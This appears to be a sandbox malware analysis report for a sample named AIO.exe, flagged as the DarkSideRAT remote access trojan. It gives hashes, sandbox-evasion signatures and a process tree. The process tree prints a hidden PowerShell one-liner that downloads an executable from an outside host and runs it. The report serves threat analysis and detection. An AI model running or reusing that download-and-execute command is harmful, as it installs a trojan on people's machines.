Analysis
- user interaction
yes - max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/08/2026, 11:42
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
AIO.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
AIO.exe
Resource
win11ltsc2024-20260710-en
windows11-ltsc_2024-x64
16 signatures
150 seconds
General
- Target AIO.exe
- Size 2.0MB
- Sample260808-nt3mtswckc
- SHA256 79438c89f1097f5fece636df5391476c071c5134326b9d1cfd6d081a7a72e65c
- MD5 b471b5a05588c0c851078592d47aa2f5
- SHA1 8570fa40d5d7006b85509504e1beaea3abc37cc9
- SHA512 5a8243c0c7296c2660dabc5bbf6badd4425298203b09c060c0673380117cd28ee415f569132d644d9f2aa7b74b56520cf3253dfb122ca8ed8c738008ea073ea4
- SSDEEP 24576:mUVVsDb+T88Va8ueVPcVkQv2e92XgvlPVE2qq2:LjlRQX9+
- TLSH T1C0A54BA9A11AD4F8E1DAAF3875D2CE82BFF1A9003B53136BD3484DB05E873916F36541
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
resource yara_rule behavioral2/files/0x0006000000016b49-23.dat family_darksiderat - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 3428 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3428 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 7 3428 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4632 BK253511.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2084 cmd.exe 932 cmd.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3428 powershell.exe 3428 powershell.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1356 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3428 powershell.exe Token: SeDebugPrivilege 1356 taskmgr.exe Token: SeSystemProfilePrivilege 1356 taskmgr.exe Token: SeCreateGlobalPrivilege 1356 taskmgr.exe Token: 33 1356 taskmgr.exe Token: SeIncBasePriorityPrivilege 1356 taskmgr.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe 1356 taskmgr.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1356 taskmgr.exe 1356 taskmgr.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 900 wrote to memory of 932 900 AIO.exe 90 PID 932 wrote to memory of 2084 932 cmd.exe 91 PID 2084 wrote to memory of 3428 2084 cmd.exe 93 PID 3428 wrote to memory of 4632 3428 powershell.exe 94
Processes
-
C:\Users\Admin\AppData\Local\Temp\AIO.exe"C:\Users\Admin\AppData\Local\Temp\AIO.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK253511.exe; Start-Process -FilePath $env:TEMP\BK253511.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Users\Admin\AppData\Local\Temp\BK253511.exe"C:\Users\Admin\AppData\Local\Temp\BK253511.exe"5⤵
- Executes dropped EXE
PID:4632
-
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1356
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\BK253511.exe
- Size 67KB
- SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
- MD5 32b268f7114cd6816d3b1c0558e88f95
- SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
- SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
- SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
- TLSH T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
- MD5 SHA1 SHA512 SSDEEP TLSH